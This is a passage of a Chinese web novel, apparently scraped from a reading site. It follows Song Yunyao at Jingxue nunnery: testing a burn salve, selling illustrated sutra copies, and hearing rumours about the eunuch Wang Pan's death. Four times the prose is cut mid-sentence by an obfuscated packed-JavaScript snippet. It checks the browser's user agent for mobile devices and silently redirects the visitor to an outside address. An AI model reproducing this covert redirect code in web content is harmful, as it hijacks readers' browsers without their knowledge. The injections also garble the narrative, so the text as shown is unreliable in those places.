法真步履不停，一如既往的淡然语气，“宋施主，你还未痊愈。” 宋云谣一愣，下意识道，“可昨夜没有送药来。” 说完她又自觉不合适，找补道：“多谢大师好意，可我这些日子身上并无不适，平日里上山下水、种地干活都使得，这……这样，还不算痊愈吗？” 法真终于停步，看向她的右手。 “宋施主，手上的伤，你也觉得痊愈了么？” 她顺着法真的目光低头看，手上那片刺眼的疤痕，是她当初在富春江的游船上，被灼热的香炉烫伤的。 当时情况危急，她只能用布条随意缠住，可之后几次落水，伤口反复沾染泥水，情况愈发糟糕，到她被兰姨救起时，小半只手几乎已经变成一块烂肉了。 若是寻常大夫，恐怕要割掉这块肉才能保命。万幸她遇上了医术高超的法真，敷了数月的药，新皮肉长了出来，如今只是看着狰狞可怖了一些，对冷热更敏感易痛一些，并不妨碍日常起居。 她听出法真的未尽之言，心中一时又是感慨、又是惶恐，连声道：“大师将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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穿过狭小的院子，推开房门，屋子不大，墙边是一排排打到顶的药材柜，看得人眼花缭乱。中间只有一张书案，上面垒着几本古籍，还放着各色炮制药材的工具。 宋云谣打量一圈，问道，“不知大师为何将我带到这了。” 法真径直走到一个柜子前，拉开一格抽屉，从中拿出一个巴掌大的广口瓷瓶，打开瓷瓶，递到宋云谣面前。 宋云谣生怕自己手滑摔了，没有接过，只是探头看了一眼，瓶子里盛着淡红的药膏，瞧着是凝脂质地。 “这是……” 法真收回手，盖上瓶口，道：“这是贫尼炮制的新药，专用于烧伤的。” 直到此时，宋云谣再傻也明白她的意思了，法真是希望自己为她试一试新药的效用。可她不解，若只为试药，又何必大费周章，直说便是。 她不想猜疑，直截了当开口，“法真大师对我有大恩德，若是为了试药，我自无推脱，大师何不直说？” 果不其然，法真道：“这药的药性有些烈，贫尼给自己试过，药效虽不错，可贫尼生来有个毛病，皮肉之苦，较之常人更钝些。” 宋云谣微微蹙眉，“大师给自己试药？这是何意？” 法真转身放好瓷瓶，拉开宽大的袍袖给她看，只见法真皮肉松垮的小臂上，竟布满了一块块深浅不一的烫疤。 法真很快便放下袖袍，宋云谣睁大了眼睛，一时竟不知该说什么。 自伤己身，只为研究药效如何，又这般凑巧，老天给了副对皮肉苦痛并不敏感的身躯……该说这是她慈悲无我，还是当真天命所定？ 宋云谣定定神，先抛下那些七七八八的想法，问道：“大师想让我试的是药效，还是这药用起来于普通人而言，痛不痛苦？” 她问得一阵见血，法真微怔，微微移开目光，轻声道，“贫尼惭愧，是后者。” 法真眼帘低垂，为自己的私心不齿，等待着预想中的否决。可眼前人却清脆开口，“这有何不可。” 宋云谣低头看了眼自己的手背，错过了法真猝然抬起的视线，喃喃道，“既有效用，不过是吃些皮肉之苦，这又算得了什么？” 对面停顿不语，宋云谣抬起头，却见法真双手合十，朝她深深一躬。 “宋施主大恩德，贫尼没齿不忘。” 宋云谣急忙将她扶起，脸颊微红，有些不好意思，“大师客气了，倘若当真能治好，还是我收益，大师不必如此……” 五旬有余、德高望重的老者朝自己拜谢，宋云谣实在受不住，连忙岔开话，“对了，那这药膏，可以不算在我的‘香火钱’里吗？” 法真微微讶然，宋云谣有些窘迫，“就是，您把脉开方的香火钱。” 她尴尬得脚趾都缩紧了，却见法真一笑，“施主误会了。静雪庵给人看病诊治的香火钱，只取一根立香。” “一根立香？”她错愕道。 “是。” 既如此，为何香客都不愿来看病了？一根香便抵了药钱，静雪庵账上还有多少银子？后山那几块田地，就足够喂饱整座庵堂的人了？炭火衣物、香烛日用，处处都要银子，静雪庵到底哪来的钱？ 宋云谣心底疑问万千，可毕竟太过逾矩，通通咽了下去。无论如何，得知所谓香火钱不过是一根立香，她心里总归是轻松不少。 二人又说了说日后试药的事，法真带她出了小院，锁了院门，往外走去。 困扰她大半年的烦恼顿时跑了，还有了天经地义的由头，能在静雪庵多待一段时日，宋云谣心中雀跃，面对向来平静无波的法真大师，也起了揶揄的心思。 她笑道，“大师莫非是因为我手上的伤，才反复炼制新药的？看来大师心里有我。” 法真神色如常，岿然不动，语气寻常。 “于贫尼而言，宋施主与世间一花一木、一草一木都并无不同。施主既在贫尼心中，也不在贫尼心中。” 宋云谣背手走在旁，不禁扬起一个笑。果然，她最喜欢别人同她打机锋。 还未想好应对之语，法真忽然又道：“只是有一点施主错了。” “哦？但闻其详。”她微微挑眉。 法真步履不停，道：“这药并非为了施主所制。早在二十年前，我便开始研究了。” 宋云谣不过玩笑话，只看她手臂上那些深深浅浅的伤处，就明白，这药绝非半年就能制成。 只是法真这么一说，她还真被勾起几分好奇，不禁问道，“恕晚辈冒昧，为何是二十年前？” 二人继续走了许久，法真都未回答。宋云谣以为自己逾矩了，心下尴尬，刚想致歉，法真却在一间冷清的佛堂外停下脚步。 佛堂的门半开着，一位比丘尼坐在蒲团之上，闭眼念诵经文，她侧着身，日光洒在石砖上，仿佛也在她半边脸上映了块阴影。 宋云谣以为自己眼花了，忍不住向前走了一步，才发现那并非阴影，而是一片狰狞丑陋的伤疤！ 她半边脸上褐红、青紫交织，仿佛彩墨混在水中，凌乱相融。 可比起颜色，更令人心惊的是那烧伤疤从一侧额头延伸到嘴角，竟连眼眶都缺了一块，眼珠诡异的突出在外，形容可怖。 看清眼前一切，宋云谣的身子霎时僵在原地，可下一刻，屋内那人竟侧头直直看了过来！ 二人视线相对，不过瞬息之间，宋云谣竟已镇定下来，嘴角一扬、眉眼一弯，朝那人合掌行礼，温和开口。 “扰了这位师父清静，烦请勿怪。” 9.下山【待修】 几日后，静雪庵。 时值初春，灵山上烟柳飞絮、草木葱茏。 天还未亮，静雪庵西北角的小院里，寮房木门被轻轻推开。 甫一推开房门，清晨微凉的风扑到脸上、钻进袖笼，哈欠还没打完，宋云谣就忍不住打了个寒颤。 她走到院中的石井边，利索打上一桶水，倒进木盆里。井水冰凉，棉布浸了水，拧紧，再贴在脸上，最后一丝困意都消散了。 耳畔一片宁静，寺中的钟声还未响，晨风过处，唯有山中林木婆娑摇曳的沙沙声。 宋云谣蹲在水井旁，棉布盖在脸上，长长喟叹一声。 停顿许久，低头，棉布滑落水中。 盆中的倒影散了又聚，她望着水中那个荆钗布裙、不施粉黛的自己，竟有几分恍如隔世。 她蹲在井边，盯着水盆发愣许久，右手伸进水里，轻轻拨散了那倒影。 隔着一层水波，手背上那半片红褐相间的疤痕依旧狰狞。 井水冰凉，手放久了，伤处传来一阵刺痛，她不由倒抽一口凉气，赶忙换了只手捞棉布。 宋云谣轻轻吹了吹伤口，想起前几日见过的妙音。 自己的伤势远不如妙音，尚且需得日日小心。妙音师傅与伤疤顽强同处二十年，又是何等毅力？ 又思及法真二十年来的苦心钻研、悉心照料，宋云谣叹了口气，心底说不出的滋味。 她发了会儿愣，院门被人轻轻推开，门后探进来半个身子，小声唤她。 “宋娘子！宋娘子！” 宋云谣抬眼望去，却见庄箐箐朝她咧嘴一笑，推开门，一蹦一跳走了进来。 她手里握着一把野花草，一路走、一路掉，走到宋云谣面前时，手里只剩下几根狗尾巴草。 庄箐箐瞧见了，眼一红、嘴一撇，当即要哭。 宋云谣连忙从地上捡起花，哄道：“没事，捡起来就行。箐箐去那边坐着，一会儿我给你编头发。” 庄箐箐破涕为笑，一朵朵捡起地上的野花，乖乖在廊下的小木凳上坐好。 她这一打岔，宋云谣那几分愁绪也飘远了，三两下洗漱完毕，为她编起头发。 庄箐箐是个法真收留的疯姑娘。她瞧着快三十的年纪，心智却才五六岁，从前最喜欢缠着善远玩闹。 可自从善远受戒皈依后，也渐渐有了修行者的模样，除了跑腿送药的活计，还有数不清的经文要读，渐渐冷落了她。为此，庄箐箐没少发脾气。 在善远的解释下，她勉强明白了功课是正事，又把矛头对准了宋云谣——这个不知哪里冒出来、抢了她玩伴的人！ 二人头一回见面，便是庄箐箐火冒三丈地来找宋云谣麻烦。 她一步一跺脚地冲进屋子，却见宋云谣病恹恹歪在床上，脸上半点血色都没有，当即便蔫了。 宋云谣虽没见过庄箐箐，却久闻她大名，知道她行事与稚童无异，并无恶意。 病中憋得慌，其他人都在农忙，难得在白天见到个活人，她也就顺着庄箐箐的话，同她天南地北摆起龙门阵。 没说几句，庄箐箐的火气便消了，浑然忘记自己是来找人麻烦的，反倒搬了个小板凳坐在她跟前，听她讲那些志异故事。 一来二去，庄箐箐便与宋云谣熟识起来，俨然将她看作仅此于善远的伙伴，得闲便来找她玩。 不过她今日过来，却不单是为了玩乐——不一会儿，她们便要下山，去定阳县城找药商拿药材。 药商难得路过此地，可约定的那天正巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779841|154264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶上寺里要办水陆法会，姑子们分身乏术，法真便将这事儿交托给了兰姨。 兰姨是个闲不住的，在定阳待了半年，早将这附近的村镇、县城都摸清了，下山寄封信的事儿，自然不在话下。 前日清晨，兰姨还悄悄问了她想不想吃烧鸡，若是实在嘴馋，悄悄给她捎上也行。宋云谣听得头疼，赶忙给她夹了一筷子菜，堵上她的嘴。 可昨夜突如其来一场雨，兰姨从后山回来时，竟不甚摔了腿。她嘴上说着没事，脚踝却肿得走不了路。 法真为她敷了药，本打算让别的姑子抽空去，宋云谣思来想去，主动站了出来，愿意替法真跑一趟。 因为她没去过定阳县，法真便让庄箐箐随她同去——她虽痴傻，可自小在定阳县长大，熟门熟路，寻个县城总不再话下。 “你看，这样就好了。” 梳好头发，宋云谣拿起浅粉的花枝，为她簪在耳后。庄箐箐抬起手，小心翼翼摸了摸花瓣，又碎步走到木桶旁边，望着水中倒影，满意得合不拢嘴。 宋云谣瞧着她得意的侧脸，也忍不住笑了笑。 趁她临水自照，宋云谣转身推开房门，轻轻放了洗漱物件，又走到床边拉开抽屉，寻到那小小的广口瓷瓶。 对着窗外的天光，她用指甲挖了块药膏，呼吸几下，将药膏擦到右手的伤处。 手上火辣辣的疼，她扶住窗框，身子一阵打颤，后背冷汗直冒，咬紧牙关强忍疼痛。 “叫你别图便宜，傻了吧。” 背后忽然传来一道凉凉的嘲讽。 宋云谣并不答话，等到捱过那阵疼痛，才直起腰，慢慢将药膏放回原处。 “自讨苦吃。”兰姨冷哼一声。 “我走了，你好生休息。” 10.身世 “抄书？” 贾管事闻言一愣，眼睛从卷轴上移开，脸上露出几分恍然。 沉吟片刻，他道：“实不相瞒，这上头的字，放在为我们供稿的书生之中，都算是不错的。” 宋云谣盯着他，心中感到些许不妙。 “可是……”贾管事眉心微皱，面带犹疑。 她忙道：“您若不放心，我现下就写给您看也行。” “倒不是因为这个。”贾管事一摆手，试探道，“若是没猜错，师傅如今是带发修行？” 隔着一层纱帘，察觉到他的审视，她忽觉喉咙有些干涩。 “修行谈不上，只是暂且借住静雪庵中。” 贾管事神色莫测，并不接话。 见状，宋云谣微微垂首、软下语气，话里带了几分恳求。 “贾管事，我也不瞒您。去岁我家中突遭变故，家母与我无处可去，恰得住持慈悲，才收留我们在庵堂里养病。 “虽有寺中照顾，可总不好一直叨扰住持。我身无长物，又要照顾家中母亲，便想来您这寻个门路……” “姑娘的难处，我晓得了。”贾管事客客气气打断她的话，“还不知该如何称呼？” “我姓宋。” “宋姑娘，我便与你实说了。你这字，没毛病；可你的身份，不合适。” 贾管事抬手捻须，眼睛微眯，露出精明的模样。 “僧尼虽不能经商买卖，可鄙人眼里，所谓经书抄录、开光供奉，也算是一门生意。 “往大了说，若你是法真大师那样的人物，自有官眷士绅供养钱粮纸墨，上赶着来求字。 “就我所知，前些年法真大师只要抄一部《大般若经》，养活静雪庵大半年都不成问题。” 她抿抿唇，“所以，是因为我不是出家人？” “宋姑娘若真是出家人，反倒不必来我这寻门路了。” 贾管事笑了一声，目光扫过她垂在胸前的辫子上。 “宋姑娘还未出阁吧？” 宋云谣沉默不答，放在膝上的手不动声色地攥紧了。 “虽说抄书人不必留下名姓，可姑娘毕竟待字闺中，清誉为重。这笔墨漏出去，万一将来生出些事端，倒是我们书坊的罪过了。” 贾管事将经文推到她面前，“若姑娘坚持要以此谋生，不妨去旁的书铺再看看吧。” 他语气虽委婉，态度却明确，搬出的说辞也有理有据，宋云谣心下不免挫败。 她低头看了看经文，仍不甘心，思绪一转，又问道：“不知这几卷经文，管事可还瞧得上？” 他的茶盏抬起复又放下，“姑娘是说，托我们书坊卖你抄的经书？” “佛经多是女眷买了奉在家中，既不是什么诗词歌赋，想来并不妨碍清誉。” 她说得直截了当，“我虽不及法真大师，可您是做生意的，金有金的卖法、铜有铜的卖法，这一点贾管事比我明白。” 贾管事却不接茬：“话虽不假，可这铜毕竟少了层金身啊……” 宋云谣一顿，开口道：“贾管事可否借我笔墨一用？” 贾管事一挑眉，许是好奇她还有什么手段，竟没有拒绝。 伙计取来笔墨，宋云谣将其中一卷经文翻面铺平，站起身，提笔吸墨，徒手在空白的卷轴背面勾画起来。 自她从宽大的袖袍中伸出右手，贾管事心中便是一震。 她的右手用布条裹住了手背，斑驳的疤痕从布条下蔓延到了指间，看起来伤势不轻。 可即便如此，她握笔的姿势仍旧稳当，落笔纸上，行云流水，挥洒自如。 他不禁踱步至她身后，细细看去，却见笔走游龙之间，空白的卷轴上缓缓现出一位净瓶观音，端坐莲台、庄重禅静。 约莫一炷香后，宋云谣堪堪停笔。放好紫毫，她轻轻吐了口气，有些疲乏地看向男人。 “您看，若是每卷经文后，我都添上一幅画，又算不算‘金身’呢？” 贾管事站在桌前，一时失语。 许是作画时间太短，又是临时起意，她虽在观音的姿态神貌上花了功夫，可其余诸多细节却不免粗陋，经不起推敲。 但妙就妙在，她并未单纯画一副佛像，而是将其置身山水之中，大片的留白烘出禅意，又借云雾遮掩住艰深难画的部分，乍一看，还当真唬人。 短短一炷香时间，既有功底，几笔就抓住佛像神韵；又不乏急智，借意境掩盖了技法不足之处…… 竟是低估她了。 贾管事心中惊诧，眼睛不住地往画上瞟，嘴上却绷得紧，非要挑出几个毛病，故作为难。 “我瞧着，还是有不少错漏……画在卷轴后面，恐怕也不大合适……” 听他这般说，宋云谣反倒松了口气。没有一口回绝，那便是有得谈，大抵不过是退步让利几分，也在她意料之中。 一番讨价还价后，二人签下契书，宋云谣每月送来经文佛画，托慧芳书坊售卖，她从中取四成利，下月结算。 在契书中，宋云谣额外添了一条，书坊不得透露她的身份。 只要不妨碍生意，贾管事自无不可，当即爽快答应。 而今日带来的这几卷经文，又由书坊出资买下，虽说价不算高，可终于有了进项，她心中说不出的高兴。 趁贾管事去取银子，她终于得空看向庄箐箐。在外人面前，庄箐箐向来安静拘谨。 见她在一旁默默坐了大半时辰，宋云谣有些歉疚，小声道：“一会儿去买酥饼松糕，好不好？” 庄箐箐乖乖点头。 不多时，贾管事拿着钱袋子过来。卖了几卷经文，再加上给她预支来添置笔墨纸张的银子，统共给了她三两银子。 数目不小，宋云谣接过银子时，仍不可思议，讶然道：“管事就不怕我拿着银子跑了？” 贾管事却笑道：“姑娘若跑了，我便去静雪庵找住持要说法去。三两银子，换一个在法真大师面前露脸的机会，我可不亏。” ——原来是看在法真的面子上。 她心下了然，又不免奇怪，静雪庵香火稀薄，可为何法真大师反倒声望颇高？ 还有面铺的那位大婶，提起静雪庵时，态度也分外微妙，明明厌恶，却又愿意伸手相助…… 宋云谣满腹疑问，直到一行人走到门口，她终于忍不住询问，为何他对法真大师如此敬重？ 贾管事倒也答得坦荡。 “大师医术高明、慈悲为怀，我自然敬重。更要紧的是，法真大师原是衢州冯家的人。” “冯家？”宋云谣一愣。 “冯家可是衢州大族，祖上曾管过盐务，最风光的时候，冯家人跺跺脚，整个江浙都要抖三分。” 贾管事看看左右，压低声音。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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一时间，点心铺里一片狼藉，点心、竹屉都被一扫而下，伙计急得跪地哀求。 不知为何，庄箐箐也受了惊吓，忽然抱头尖叫起来。 场面太过混乱，宋云谣急忙将她揽到怀里，终于寻机冲了出去。 门外早已围满人群，却无一人敢上前拉架。她拉着颤抖的庄箐箐冲出人群，走到街角靠墙坐下，顺着她的后背，不停安抚情绪。 不知过了多久，庄箐箐终于稍稍平静下来，身子不再颤抖，只是疲软地靠在她肩上，大口呼吸。 “能走吗？”她小心翼翼问。 庄箐箐慢慢点头，宋云谣搀扶着她起身。 四顾一圈，点心铺已然关了门，店里伙计与打架的汉子都不知所踪。 听周围看热闹的人说，方才恰有衙役路过，见有人打架闹事，直接将他们带去了衙门。 宋云谣眉心一跳。 哪怕已过去近一年，一提起衙门，她还是忍不住心惊。 她定定神，整理好二人的帷帽，准备搀着庄箐箐离开这是非之地。 可刚走到巷口，却听路边茶摊上，有人口中忽然冒出一个熟悉的名字。 “……不知道了吧，都是因为那位王太监，王攀！” 宋云谣的脚步猛然一顿。 11.蹊跷 王攀？莫不是她听错了？ 宋云谣心中一震，来不及多想，下意识拉着庄箐箐一旁茶桌边坐下。 见她面露疑惑，宋云谣将酥饼塞给她，搪塞道，“饿不饿？先吃点再走吧。” 身后，几个男人围坐一桌，就着一壶茶，聊得正热闹。 方才说出王攀名字的男人长了张歪嘴，如今双手抱胸、斜睨众人，一副了若指掌的模样。 只是桌上众人显然不信，七嘴八舌询问起来。 “你该不会说的是，那个王太监吧？”其中一人压低声音道，“他不是都死了一年了？” “你这歪嘴又说胡话。”旁边有人附和，满脸不屑，“就算死了，那太监也是顶有名的人物。钱家和刘家就算打破天，人也懒得看一眼罢！” “是啊是啊，我明明听人说，是钱家的媳妇跑了，才找刘家要说法的。” 周围人纷纷反驳，那歪嘴儿自觉丢了面子，脸色也难看起来。 “嘁，不信拉倒。” 他嗤笑一声，起身要走。同桌几人忙拉他坐下，又是倒茶、又是捏肩，插科打诨一番，歪嘴儿终于满意开口。 宋云谣坐在一旁，听得心脏直跳。摊主端来两碗茶，她捧着那温热的旧陶碗，手心冷汗涔涔。 那歪嘴儿说得颠三倒四，一讲到王攀，许多地方便含含糊糊、一笔带过。 可宋云谣了解王攀为人，在心中抽丝剥茧，大致厘清了前因后果。 说来也简单，今日在点心铺斗殴的两伙人，正是定阳县两个富户家的人。 一家姓刘，做布庄起家，从前在衢州地界稍有名气。一家姓钱，做染坊生意，家底稍逊一截，却也富庶。 因着生意缘故，两家走动频繁，关系不错。刘家有些漕运门路，生意做得更大。钱家仰仗其势，平日里没少殷勤奉承。 后来，钱家以自家一个染坊为聘礼，钱家长子求娶刘家独女。两家很快便结成姻亲，成亲那天声势之浩大，即便到今日，也叫定阳人津津乐道。 直到五年前，王攀到定阳征税，盯上了当时生意如日中天的刘家。 而钱家早有攀附之意，背着刘家，主动给王攀送上了诸多“罪状”，以表忠心。 王攀为人贪刻无厌，借朝廷矿税名义，四处搜刮敛财，对富商豪绅们，更是恨不能敲骨吸髓。 定阳县商业发达，刘家这头肥羊，自然被他盯上，只等寻到机会、杀鸡儆猴。 而钱家用惯了钻营攀附的把戏，眼见王攀意图打压惩治刘家，便主动送了一份大礼。 ——刘家这些年来，在漕运上的诸多打点孝敬。 明眼人都晓得，这做生意，少不了拜码头、找靠山，送些打点孝敬，也是人之常理。 只可惜，有些事只要不上台面，睁一只眼闭一只眼也就过了；可一旦挑明了放到公案上，一桩桩一件件，就都成了呈堂罪证。 瞌睡了就有人送枕头，王攀自然满意。很快，刘家的上下男丁都被押进大牢，生死未卜。 女眷们日夜等待消息，最后从姻亲钱家口中得到消息——事到如今，也只有破财消灾这一条路了！ 无奈下，刘家关了布庄商铺、遣散伙计仆从、卖了房屋田产，凑齐白银百万两，以补齐多年商税的名义，送到了王攀府邸。 而钱家抓住机会，一面偷偷低价购入了刘家的田产、布庄，一面对王攀百般殷勤讨好，俨然为自己寻了座新靠山。 经此一事，王攀赚了个盆满钵满；钱家低价吞了刘家的田产庄子，又得了实权太监当靠山，从此在衢州一带，愈发跋扈起来。 只有刘家，丢了经营多年的生意与家产；老爷受了牢狱之灾，没多久便撒手人寰；几个细皮嫩肉、娇养长大的少爷，也落了病根，寿命有碍。 一时间，刘家上下，只剩一个自小收养的表少爷勉强支撑。 好在瘦死的骆驼比马大，刘家这些年渐渐缓过气来，四处跑动行商，虽不至东山再起，也有了几分兴旺之相。 “嘶……”看客们听得皱眉，“所以，这是王太监死了，刘家准备秋后算账？” “就算没了王太监，刘家如今干得过钱家？做梦呢。” “不对不对，今日先找麻烦的，明明是钱家啊。”方才看了斗殴全程的汉子抢话道。 “我也听说，是当初嫁到钱家的那个刘家女，不知跟谁跑了！钱家一口咬定人是被刘家藏起来的，囔囔着让刘家还人呢。” “那钱家是得着急上火，当初刘家多风光，那聘礼可不少银子吧。” “嚯！”有人挤挤眼睛，“我要是钱家人，这话可是半句都不敢说出口。女人跑了，那不就是自家汉子不行么！” “你个不要脸的泼才，就你行！” “钱家人火气正大呢，当心人听见了，拿你泻火……” “我呸！” 众人一阵哄笑，嬉皮笑脸地说起荤话，浑然不在意旁边就坐了两个女子。 而宋云谣听了半晌，急促的心跳平静下来，慢慢放下手心里攥得生疼的茶碗盖。 虚惊一场。 看来，没有什么新消息。 她缓缓吐出一口气，在桌上放了几枚铜板，准备带着庄箐箐起身离开。 可还未起身，却听那歪嘴儿说道：“不过你们听说了没，那王太监的死，好似有蹊跷。” 这话有如石破天惊，宋云谣手一颤，霎时僵在原地。 “啥蹊跷？” “你小子消息这么灵通？” “别管这个，快说！” 见众人起了兴趣，歪嘴儿清清嗓子，压低声音，故作玄虚。 “你们可听说过，黑岩帮的名号？” 见众人一脸迷茫，歪嘴脸上愈发得意。 “黑岩帮都不知道？ “据说，他们原是处州一带的矿工，前几年在王太监手下的矿场干活。 “王太监那是何等脾性，你们都知道，就算矿工们只图讨口饭吃，那日子过得，也叫一个水深火热……” “啧，说要紧的！”同桌人催促道。 “总之，那矿场挖了几年，赔进去不知多少条性命，既不见矿脉，又不关停矿场。一怒之下，矿工们干脆揭竿而起，砸了矿场、绑了监工、冲进衙门，逼县令交出王太监！” 众人听后无不倒吸一口凉气，唯有一个高壮的汉子一拍桌子，狠狠道：“痛快！” 旁边人连忙捂住高壮汉子的嘴：“不要命了你！” “他都死了，老子还怕啥！”汉子眉毛一竖，颇为不忿。 歪嘴儿没理他，喝了口茶，继续道。 “那县令吓得屁滚尿流，连夜从临县抽调官兵前来镇压，结果矿工们提前得了消息，早跑没影了！ “那县令丢了脸，四处张贴通缉令。那帮人呢，一不做二不休，干脆上山落草，取名‘黑岩帮’，自诩是铲奸除恶的绿林豪客，在浙东南的山里活动。” “听着倒也寻常。这几年被逼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823301|154264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反的人可不少，当了三五日嘴上英雄，后来不都没影了么。”有人摇摇头，听得意兴阑珊。 歪嘴儿不屑一笑。“这黑岩帮啊，可不一样，混出名头咯。 “前几年，确实不过一伙儿散兵游勇。可这一年以来，四处宣扬自己除暴安良、替天行道，倒是一下子风光起来。” “当真？”高壮汉子忙问道。 “那可不！”歪嘴儿道，“虽说是落草为寇，这黑岩帮却不劫掠穷苦人家，专门朝那等土豪士绅下手。如今在台州、温州一带，也算是打响名号了。随便抓个老幼妇孺问，也无不知晓其大名。” “等等，那和王攀的死，有什么关系？” 终于有人问到关键，宋云谣也不禁提起了心。 “王太监怎么死的，你们可知道？”歪嘴儿又卖起关子。 “我知道！”那高壮汉子声如洪钟，语速飞快，“我有个亲戚在衙门当值，同我说，那太监是在花船上吃醉了，失足落到水里淹死的。” “哎哟祖宗，你小声点儿！”歪嘴儿脸一黑，按住他的肩膀，压低声音，“我告诉你，前阵子……” 宋云谣心脏怦怦直跳，忍不住屏住呼吸，想要听清楚，身子不自觉朝后仰。 “……黑岩帮对外声称，王攀并非醉酒失足，是他们趁雨夜摸上花船，悄悄将其杀死，而后抛尸江中！” 话音刚落，那高壮汉子腾地一下站起，宋云谣坐在他身后，一时不察，被他一撞，竟猛地扑到桌上。 “砰”的一声，她桌前的茶碗砸到地上，碎了满地，吓得庄箐箐赶忙过来扶她。 而那汉子激动得满脸通红，竟未察觉身后异样，只拉住歪嘴儿衣领，高声问道：“此话当真！真是黑岩帮杀的？！” 众人都被他吓了一跳，那歪嘴儿被半拎起来，不敢造次，结结巴巴道： “黑岩帮是这么说的，只是朝廷不大相信，好像要派个什么大官儿过来，亲自调查王太监死因……唉哟！你发什么疯！” 没等他说完，那高壮汉子一把将他丢到地上，转身就走，徒留歪嘴儿坐在地上骂骂咧咧。 身后，宋云谣木然坐在桌前，眼前天旋地转，脑海中嗡鸣不断。 恍惚间，她好似又回到那个混乱的雨夜，脚下是颠簸的江面，温热的血顺着她脸颊滑落，一滴滴砸在手上膝上。 “宋姐姐，宋姐姐？” 耳畔传来谁的呼唤，她后知后觉看去，是庄箐箐。她握着自己攥得发白的手，小声唤着她，满是不安。 她抬手摸了摸脸，滚落的也并非谁人的血液，而是方才桌上打破的茶水。 杂乱的声音钻进耳朵，身后男人聒噪不停，满嘴闲言赘语：高壮汉子死在矿难里的爹；歪嘴儿又攀上了哪个员外；朝廷新派的大官究竟又多“大”…… 有个声音在心底盘桓。 这是定阳县，不是杭州、不是陈府、更不是富春江。 她是正经人家的姑娘，借住静雪庵，无人知道她是窈儿。 不知过去多久，身后安静下来，那伙儿男人不知何时已然离开。 冷汗黏在身上，一阵风吹来，她不禁打了个寒颤，终于神魂归体。 “宋姐姐，你怎么了？”庄箐箐急得快哭了。 宋云谣心中惶惶，勉强扯出个笑，抽回自己冰凉的手，轻声道：“没事，就是有点累。” 给摊主赔了碎茶碗的钱，她背上竹篓。 “时辰不早，我们回去吧。” 12.剃度 出了县城，二人顺着灵江返程。江上波光粼粼，灵山层林掩映、春光正好。暖风过处，更有杨柳碧涛、竹花旋舞。 可光景如此，路上人却步履匆匆，都没了赏春的心思。 走了近两个时辰，抵达庵堂时，正值傍晚。 红墙上“静雪庵”三个大字，被夕照映得金光熠熠。宋云谣站在庵堂前，竟有瘫软倒地的冲动。 已到了晚膳的时辰，寺庙里钟声回响，隐约能看见姑子们往斋堂走去。 庄箐箐早已累得走不动路，宋云谣强撑精神，将她送回屋子，又带上在县城里买的糕点，送去了斋堂。 姑子们刚做完水陆法会，见她来了，忙招呼她过来用斋。宋云谣看了一圈，摆摆手，只道正事儿还没办完，要先去找住持。 刚走出斋堂，背后又有一人跟了出来。她回头一看，竟是净念法师。 净念算是静雪庵的二把手，为人严肃刚正、不苟言笑，对寺庙里的小尼姑们向来严格。 宋云谣见了她，连忙回身行礼。 净念板着脸走到她跟前，上下打量她一番，忽然问道：“可是遇上什么事了？” 她心中一惊，轻描淡写道：“就是有些累，叫师父担心了。” 净念不语，那双明亮的眼睛看得她心中发慌，她面上不动声色，扯开话茬：“倒是箐箐有些不好。” 她将今日在县城里撞见斗殴、庄箐箐受惊一事如实道来，净念果然眉头紧蹙，与她道谢一声，匆匆离开。 见她走远，宋云谣沉默伫立片刻，转身往法真禅房去。谁料到了后，禅房内竟空无一人。 她四顾一圈，将背篓放下，慢慢蹲在墙边，精疲力尽一般，将脑袋深深埋进膝盖里。 远离众人，她终于卸下伪装。 一旦身体空闲下来，熟悉的颤栗又从心底升起，恐惧仿佛潮水一样奔涌而来，盖住她的口鼻。 她深深呼吸几下，眼前仍是一阵阵发晕，干脆艰难抬起头，猛地往自己脸上抽了一巴掌。 冷静。 她对自己说。 就算朝廷真找到她，也未必没有活路可走！ 宋云谣闭了闭眼，努力回想今日听到的消息，思绪转个不停。 首当其冲的，便是黑岩帮。 王攀此人贪猥无厌、官声极差，在浙江五年，逼得民怨沸腾。像黑岩帮这样揭竿而起的，也并非少数。 只是他们大多抵不过官府的势力，要么衙门推个替死鬼出来以泄民愤，要么被就地镇压、各自论罪。 总之，矿工们的起义大多就热闹个把月，便也销声匿迹、不了了之。 可是，黑岩帮却不一样。 他们之中肯定有个明白人，知道师出有名的道理，先是扯了杀死王攀的大旗，又做出不欺百姓、专杀豪强的姿态，俨然一副为民除害的英雄模样，以此笼络人心。 像茶桌上那位高壮汉子一样，一腔热血便去投靠的，恐怕不在少数。 对宋云谣而言，他们虽替自己顶了罪，却也将自己重新拉下了浑水。 